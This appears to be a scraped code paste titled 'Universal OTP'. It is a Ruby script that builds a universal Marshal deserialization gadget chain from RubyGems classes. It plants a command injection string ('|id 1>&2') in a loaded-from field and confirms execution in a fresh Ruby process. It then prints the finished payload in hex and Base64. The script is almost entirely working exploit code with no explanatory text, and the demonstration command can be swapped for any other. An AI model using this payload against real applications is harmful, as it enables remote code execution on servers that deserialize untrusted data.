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Universal OTP
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#!/usr/bin/env ruby | |
class Gem::StubSpecification | |
def initialize; end | |
end | |
stub_specification = Gem::StubSpecification.new | |
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2") | |
puts "STEP n" | |
stub_specification.name rescue nil | |
puts | |
class Gem::Source::SpecificFile | |
def initialize; end | |
end | |
specific_file = Gem::Source::SpecificFile.new | |
specific_file.instance_variable_set(:@spec, stub_specification) | |
other_specific_file = Gem::Source::SpecificFile.new | |
puts "STEP n-1" | |
specific_file <=> other_specific_file rescue nil | |
puts | |
$dependency_list= Gem::DependencyList.new | |
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file]) | |
puts "STEP n-2" | |
$dependency_list.each{} rescue nil | |
puts | |
class Gem::Requirement | |
def marshal_dump | |
[$dependency_list] | |
end | |
end | |
payload = Marshal.dump(Gem::Requirement.new) | |
puts "STEP n-3" | |
Marshal.load(payload) rescue nil | |
puts | |
puts "VALIDATION (in fresh ruby process):" | |
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe| | |
pipe.print payload | |
pipe.close_write | |
puts pipe.gets | |
puts | |
end | |
puts "Payload (hex):" | |
puts payload.unpack('H*')[0] | |
puts | |
require "base64" | |
puts "Payload (Base64 encoded):" | |
puts Base64.encode64(payload) |
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